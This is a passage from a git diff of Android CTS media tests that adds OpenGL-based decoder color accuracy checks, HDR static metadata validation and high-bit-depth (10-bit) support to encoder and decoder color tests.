+ // mediaType, asset, range, standard, transfer
+ // 601LR
+ {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+ // 601FR
+ {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit_fr.mp4",
+ MediaFormat.COLOR_RANGE_FULL,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit_fr.mp4",
+ MediaFormat.COLOR_RANGE_FULL,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit_fr.webm",
+ MediaFormat.COLOR_RANGE_FULL,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit_fr.webm",
+ MediaFormat.COLOR_RANGE_FULL,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit_fr.webm",
+ MediaFormat.COLOR_RANGE_FULL,
+ MediaFormat.COLOR_STANDARD_BT601_NTSC,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+ // 709LR
+ {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT709,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT709,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT709,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT709,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+ MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT709,
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+ // Note: OpenGL is not required to support 709 FR. So we are not testing it.
+ });
+ final List<Object[]> exhaustiveArgsList = new ArrayList<>();
+ for (Object[] arg : argsList) {
+ int argLength = argsList.get(0).length;
+ boolean[] boolStates = {true, false};
+ for (boolean useYuvSampling : boolStates) {
+ Object[] testArgs = new Object[argLength + 1];
+ System.arraycopy(arg, 0, testArgs, 0, argLength);
+ testArgs[argLength] = useYuvSampling;
+ exhaustiveArgsList.add(testArgs);
+ }
+ }
+ return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
+ false);
+ }
+
+ boolean isColorClose(int actual, int expected) {
+ int delta = Math.abs(actual - expected);
+ return (delta <= ALLOWED_COLOR_DELTA);
+ }
+
+ private boolean checkSurfaceFrame(int frameIndex) {
+ ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4);
+ boolean frameFailed = false;
+ for (int i = 0; i < mColorBars.length; i++) {
+ int x = COLOR_BAR_WIDTH * i + COLOR_BAR_OFFSET_X;
+ int y = COLOR_BAR_OFFSET_Y;
+ GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+ int r = pixelBuf.get(0) & 0xff;
+ int g = pixelBuf.get(1) & 0xff;
+ int b = pixelBuf.get(2) & 0xff;
+ if (!(isColorClose(r, mColorBars[i][0]) &&
+ isColorClose(g, mColorBars[i][1]) &&
+ isColorClose(b, mColorBars[i][2]))) {
+ Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
+ r + "," + g + "," + b + " vs. expected " + mColorBars[i][0] +
+ "," + mColorBars[i][1] + "," + mColorBars[i][2] + ")");
+ frameFailed = true;
+ }
+ }
+ return frameFailed;
+ }
+
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ mSawOutputEOS = true;
+ }
+ if (ENABLE_LOGS) {
+ Log.v(LOG_TAG, "output: id: " + bufferIndex + " flags: " + info.flags + " size: " +
+ info.size + " timestamp: " + info.presentationTimeUs);
+ }
+ if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+ mOutputBuff.saveOutPTS(info.presentationTimeUs);
+ mOutputCount++;
+ }
+ mCodec.releaseOutputBuffer(bufferIndex, mSurface != null);
+ if (info.size > 0) {
+ mEGLWindowOutSurface.awaitNewImage();
+ mEGLWindowOutSurface.drawImage();
+ if (checkSurfaceFrame(mOutputCount - 1)) mBadFrames++;
+ }
+ }
+
+ /**
+ * The test decodes video assets with color bars and outputs frames to OpenGL input surface.
+ * The OpenGL fragment shader reads the frame buffers as externl textures and renders to
+ * a pbuffer. The output RGB values are read and compared against the expected values.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException {
+ if (mRange != MediaFormat.COLOR_RANGE_LIMITED
+ || mStandard != MediaFormat.COLOR_STANDARD_BT601_NTSC) {
+ // This test was added in Android T, but some upgrading devices fail the test. Hence
+ // limit the test to devices launching with T
+ assumeTrue("Skipping color range " + mRange + " and color standard " + mStandard +
+ " for devices upgrading to T",
+ FIRST_SDK_IS_AT_LEAST_T);
+
+ // TODO (b/219748700): Android software codecs work only with 601LR. Skip for now.
+ assumeTrue("Skipping " + mCompName + " for color range " + mRange
+ + " and color standard " + mStandard,
+ isVendorCodec(mCompName));
+ }
+
+ MediaFormat format = setUpSource(mFileName);
+
+ // Set color parameters
+ format.setInteger(MediaFormat.KEY_COLOR_RANGE, mRange);
+ format.setInteger(MediaFormat.KEY_COLOR_STANDARD, mStandard);
+ format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, mTransferCurve);
+
+ // Set the format to surface mode
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+
+ mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+ mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+ mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling);
+ mSurface = mEGLWindowOutSurface.getSurface();
+
+ mCodec = MediaCodec.createByCodecName(mCompName);
+ configureCodec(format, true, true, false);
+ mOutputBuff = new OutputManager();
+ mCodec.start();
+ doWork(Integer.MAX_VALUE);
+ queueEOS();
+ waitForAllOutputs();
+ validateColorAspects(mCodec.getOutputFormat(), mRange, mStandard, mTransferCurve);
+ mCodec.stop();
+ mCodec.release();
+ mEGLWindowOutSurface.release();
+
+ assertTrue("color difference exceeds allowed tolerance in " + mBadFrames + " out of " +
+ mOutputCount + " frames", 0 == mBadFrames);
+ }
+}
+
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
new file mode 100644
index 0000000..3dd28aa
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaFormat;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test to validate hdr static metadata in decoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+ private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
+ private static final String HDR_STATIC_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+ private static final String HDR_STATIC_INCORRECT_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+
+ private final ByteBuffer mHDRStaticInfoStream;
+ private final ByteBuffer mHDRStaticInfoContainer;
+
+ public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
+ String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+ super(codecName, mediaType, testFile);
+ mHDRStaticInfoStream = hdrStaticInfoStream != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+ mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1})")
+ public static Collection<Object[]> input() {
+ final boolean isEncoder = false;
+ final boolean needAudio = false;
+ final boolean needVideo = true;
+ final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+ // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+ {MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
+ HDR_STATIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
+ null, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+ null, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1,
+ "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1,
+ "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
+ HDR_STATIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
+ null, HDR_STATIC_INFO},
+ });
+ return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+ }
+
+ @SmallTest
+ @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+ public void testHDRMetadata() throws IOException, InterruptedException {
+ int[] Hdr10Profiles = mProfileHdr10Map.get(mMime);
+ Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
+ Hdr10Profiles);
+ MediaFormat format = setUpSource(mTestFile);
+ mExtractor.release();
+ ArrayList<MediaFormat> formats = new ArrayList<>();
+ formats.add(format);
+
+ // When HDR metadata isn't present in the container, but included in the bitstream,
+ // extractors may not be able to populate HDR10/HDR10+ profiles correctly.
+ // In such cases, override the profile
+ if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) {
+ int profile = Hdr10Profiles[0];
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+ }
+ Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+
+ if (mHDRStaticInfoContainer != null) {
+ validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
+ }
+
+ validateHDRStaticMetaData(mInpPrefix, mTestFile,
+ mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
+ false);
+ if (mHDRStaticInfoStream != null) {
+ if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
+ validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
+ }
+ }
+ }
+}
diff --git a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
index 7b30812..2c2bd17 100644
--- a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
+++ b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
@@ -47,7 +47,7 @@
/**
* Prepares EGL. We want a GLES 2.0 context and a surface that supports recording.
*/
- private void eglSetup() {
+ private void eglSetup(boolean useHighBitDepth) {
mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
throw new RuntimeException("unable to get EGL14 display");
@@ -60,12 +60,16 @@
// Configure EGL for recordable and OpenGL ES 2.0. We want enough RGB bits
// to minimize artifacts from possible YUV conversion.
+ int eglColorSize = useHighBitDepth ? 10: 8;
+ int eglAlphaSize = useHighBitDepth ? 2: 0;
+ int recordable = useHighBitDepth ? 0: 1;
int[] attribList = {
- EGL14.EGL_RED_SIZE, 8,
- EGL14.EGL_GREEN_SIZE, 8,
- EGL14.EGL_BLUE_SIZE, 8,
+ EGL14.EGL_RED_SIZE, eglColorSize,
+ EGL14.EGL_GREEN_SIZE, eglColorSize,
+ EGL14.EGL_BLUE_SIZE, eglColorSize,
+ EGL14.EGL_ALPHA_SIZE, eglAlphaSize,
EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
- EGLExt.EGL_RECORDABLE_ANDROID, 1,
+ EGLExt.EGL_RECORDABLE_ANDROID, recordable,
EGL14.EGL_NONE
};
int[] numConfigs = new int[1];
@@ -124,13 +128,13 @@
/**
* Creates an InputSurface from a Surface.
*/
- public EGLWindowSurface(Surface surface) {
+ public EGLWindowSurface(Surface surface, boolean useHighBitDepth) {
if (surface == null) {
throw new NullPointerException();
}
mSurface = surface;
- eglSetup();
+ eglSetup(useHighBitDepth);
}
/**
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
index f81c30a..dcb44b1 100644
--- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -21,12 +21,15 @@
import android.media.MediaFormat;
import android.media.MediaMuxer;
import android.opengl.GLES20;
+import android.opengl.GLES30;
import android.util.Log;
import android.util.Pair;
import android.view.Surface;
import androidx.test.filters.LargeTest;
+import org.junit.Assume;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -41,7 +44,10 @@
import javax.microedition.khronos.opengles.GL10;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_Format32bitABGR2101010;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
@RunWith(Parameterized.class)
public class EncodeDecodeAccuracyTest extends CodecDecoderTestBase {
@@ -50,9 +56,10 @@
// qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
// so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
// skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5.
- // until QP stabilizes, the tolerance is set at 7.
- private final int TRANSIENT_STATE_COLOR_DELTA = 7;
- private final int STEADY_STATE_COLOR_DELTA = 5;
+ // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are
+ // relaxed to 8 and 10.
+ private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10;
+ private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8;
private final int[][] mColorBars = new int[][]{
{66, 133, 244},
{219, 68, 55},
@@ -77,6 +84,7 @@
private final int mRange;
private final int mStandard;
private final int mTransferCurve;
+ private final boolean mUseHighBitDepth;
private final CodecAsyncHandler mAsyncHandleEncoder;
private MediaCodec mEncoder;
@@ -104,7 +112,8 @@
private int mTrackID = -1;
public EncodeDecodeAccuracyTest(String encoder, String mime, int width, int height,
- int frameRate, int bitrate, int range, int standard, int transfer) {
+ int frameRate, int bitrate, int range, int standard, int transfer,
+ boolean useHighBitDepth) {
super(null, mime, null);
mCompName = encoder;
mMime = mime;
@@ -115,6 +124,7 @@
mRange = range;
mStandard = standard;
mTransferCurve = transfer;
+ mUseHighBitDepth = useHighBitDepth;
mAsyncHandleEncoder = new CodecAsyncHandler();
mLatency = 0;
mReviseLatency = false;
@@ -127,18 +137,42 @@
xOffset = mColorBarWidth >> 2;
}
- @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8})")
+ @Before
+ public void setUp() throws IOException {
+ if (mUseHighBitDepth) {
+ assumeTrue("Codec doesn't support ABGR2101010",
+ hasSupportForColorFormat(mCompName, mMime, COLOR_Format32bitABGR2101010));
+ assumeTrue("Codec doesn't support high bit depth profile encoding",
+ doesCodecSupportHDRProfile(mCompName, mMime));
+ }
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8}_{9})")
public static Collection<Object[]> input() {
final boolean isEncoder = true;
final boolean needAudio = false;
final boolean needVideo = true;
final List<Object[]> baseArgsList = Arrays.asList(new Object[][]{
- // "video/*", width, height, framerate, bitrate, range, standard, transfer
+ // "video/*", width, height, framerate, bitrate, range, standard, transfer,
+ // useHighBitDepth
{720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
MediaFormat.COLOR_STANDARD_BT601_NTSC,
- MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ MediaFormat.COLOR_TRANSFER_SDR_VIDEO, false},
{720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
- MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+ MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
+ false},
+ {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+ MediaFormat.COLOR_STANDARD_BT2020,
+ MediaFormat.COLOR_TRANSFER_ST2084, true},
+
+ // TODO (b/235954984) Some devices do not support following in h/w encoders
+ // Add more combinations as required once the encoders support these
+ /*
+ {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT2020, MediaFormat.COLOR_TRANSFER_ST2084, true},
+ {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+ MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO, true},
+ */
// TODO (b/186511593)
/*
{1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
@@ -176,8 +210,8 @@
final List<Object[]> exhaustiveArgsList = new ArrayList<>();
for (String mime : mimes) {
for (Object[] obj : baseArgsList) {
- exhaustiveArgsList .add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
- obj[5], obj[6]});
+ exhaustiveArgsList.add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
+ obj[5], obj[6], obj[7]});
}
}
return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
@@ -208,7 +242,7 @@
}
mInpSurface = mEncoder.createInputSurface();
assertTrue("Surface is not valid", mInpSurface.isValid());
- mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface);
+ mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface, mUseHighBitDepth);
if (ENABLE_LOGS) {
Log.v(LOG_TAG, "codec configured");
}
@@ -360,8 +394,9 @@
boolean isColorClose(int actual, int expected) {
int delta = Math.abs(actual - expected);
if (delta > mLargestColorDelta) mLargestColorDelta = delta;
- return (delta <= (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
- TRANSIENT_STATE_COLOR_DELTA));
+ int maxAllowedDelta = (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
+ TRANSIENT_STATE_COLOR_DELTA);
+ return (delta <= maxAllowedDelta);
}
private boolean checkSurfaceFrame(int frameIndex) {
@@ -370,10 +405,23 @@
for (int i = 0; i < mColorBars.length; i++) {
int x = mColorBarWidth * i + xOffset;
int y = yOffset;
- GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
- int r = pixelBuf.get(0) & 0xff;
- int g = pixelBuf.get(1) & 0xff;
- int b = pixelBuf.get(2) & 0xff;
+ int r, g, b;
+ if (mUseHighBitDepth) {
+ GLES30.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GLES30.GL_UNSIGNED_INT_2_10_10_10_REV,
+ pixelBuf);
+ r = (pixelBuf.get(1) & 0x03) << 8 | (pixelBuf.get(0) & 0xFF);
+ g = (pixelBuf.get(2) & 0x0F) << 6 | ((pixelBuf.get(1) >> 2) & 0x3F);
+ b = (pixelBuf.get(3) & 0x3F) << 4 | ((pixelBuf.get(2) >> 4) & 0x0F);
+ // Convert the values to 8 bit as comparisons later are with 8 bit RGB values
+ r = (r + 2) >> 2;
+ g = (g + 2) >> 2;
+ b = (b + 2) >> 2;
+ } else {
+ GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+ r = pixelBuf.get(0) & 0xFF;
+ g = pixelBuf.get(1) & 0xFF;
+ b = pixelBuf.get(2) & 0xFF;
+ }
if (!(isColorClose(r, mColorBars[i][0]) && isColorClose(g, mColorBars[i][1]) &&
isColorClose(b, mColorBars[i][2]))) {
Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
@@ -407,7 +455,7 @@
private void decodeElementaryStream(MediaFormat format)
throws IOException, InterruptedException {
- mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight);
+ mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, mUseHighBitDepth);
mSurface = mEGLWindowOutSurface.getSurface();
ArrayList<MediaFormat> formats = new ArrayList<>();
formats.add(format);
@@ -416,6 +464,11 @@
assertTrue("no suitable codecs found for : " + format.toString(),
!listOfDecoders.isEmpty());
for (String decoder : listOfDecoders) {
+ if (mUseHighBitDepth &&
+ !hasSupportForColorFormat(decoder, mMime, COLOR_FormatYUVP010) &&
+ !hasSupportForColorFormat(decoder, mMime, COLOR_Format32bitABGR2101010)) {
+ continue;
+ }
mCodec = MediaCodec.createByCodecName(decoder);
configureCodec(format, true, true, false);
mOutputBuff = new OutputManager();
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 7a9ce5e..72e4765 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -17,10 +17,14 @@
package android.mediav2.cts;
import android.media.MediaCodec;
+import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.media.MediaMuxer;
+import android.opengl.GLES20;
import android.os.Build;
import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
import androidx.test.filters.SmallTest;
@@ -38,6 +42,10 @@
import java.util.Collection;
import java.util.List;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_Format32bitABGR2101010;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
/**
@@ -50,21 +58,32 @@
private int mRange;
private int mStandard;
private int mTransferCurve;
+ private boolean mUseHighBitDepth;
+ private boolean mSurfaceMode;
+
+ private Surface mInpSurface;
+ private EGLWindowSurface mEGLWindowInpSurface;
private MediaFormat mConfigFormat;
private MediaMuxer mMuxer;
private int mTrackID = -1;
+ private int mLatency;
+ private boolean mReviseLatency;
+
private ArrayList<String> mCheckESList = new ArrayList<>();
private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
public EncoderColorAspectsTest(String encoderName, String mime, int width, int height,
- int range, int standard, int transferCurve) {
+ int range, int standard, int transferCurve, boolean useHighBitDepth,
+ boolean surfaceMode) {
super(encoderName, mime, new int[]{64000}, new int[]{width}, new int[]{height});
mRange = range;
mStandard = standard;
mTransferCurve = transferCurve;
+ mUseHighBitDepth = useHighBitDepth;
+ mSurfaceMode = surfaceMode;
mWidth = width;
mHeight = height;
setUpParams(1);
@@ -94,7 +113,33 @@
super.dequeueOutput(bufferIndex, info);
}
- @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6})")
+ private static void prepareArgsList(List<Object[]> exhaustiveArgsList,
+ List<String> stringArgsList, String[] mediaTypes, int[] ranges, int[] standards,
+ int[] transfers, boolean useHighBitDepth) {
+ // Assuming all combinations are supported by the standard which is true for AVC, HEVC, AV1,
+ // VP8 and VP9.
+ for (String mediaType : mediaTypes) {
+ for (int range : ranges) {
+ for (int standard : standards) {
+ for (int transfer : transfers) {
+ String currentObject =
+ mediaType + "_" + range + "_" + standard + "_" + transfer;
+ if (!stringArgsList.contains(currentObject)) {
+ exhaustiveArgsList
+ .add(new Object[]{mediaType, 176, 144, range, standard,
+ transfer, useHighBitDepth, false});
+ exhaustiveArgsList
+ .add(new Object[]{mediaType, 176, 144, range, standard,
+ transfer, useHighBitDepth, true});
+ stringArgsList.add(currentObject);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6}_{7}_{8})")
public static Collection<Object[]> input() {
final boolean isEncoder = true;
final boolean needAudio = false;
@@ -111,35 +156,145 @@
UNSPECIFIED,
MediaFormat.COLOR_STANDARD_BT709,
MediaFormat.COLOR_STANDARD_BT601_PAL,
- MediaFormat.COLOR_STANDARD_BT601_NTSC,
- MediaFormat.COLOR_STANDARD_BT2020};
+ MediaFormat.COLOR_STANDARD_BT601_NTSC};
int[] transfers = {-1,
UNSPECIFIED,
MediaFormat.COLOR_TRANSFER_LINEAR,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO};
- // TODO: COLOR_TRANSFER_ST2084, COLOR_TRANSFER_HLG are for 10 bit and above. Should these
- // be tested as well?
+
+ String[] mediaTypesHighBitDepth = {MediaFormat.MIMETYPE_VIDEO_AVC,
+ MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_VIDEO_VP9,
+ MediaFormat.MIMETYPE_VIDEO_AV1};
+ int[] standardsHighBitDepth = {-1,
+ UNSPECIFIED,
+ MediaFormat.COLOR_STANDARD_BT2020};
+ int[] transfersHighBitDepth = {-1,
+ UNSPECIFIED,
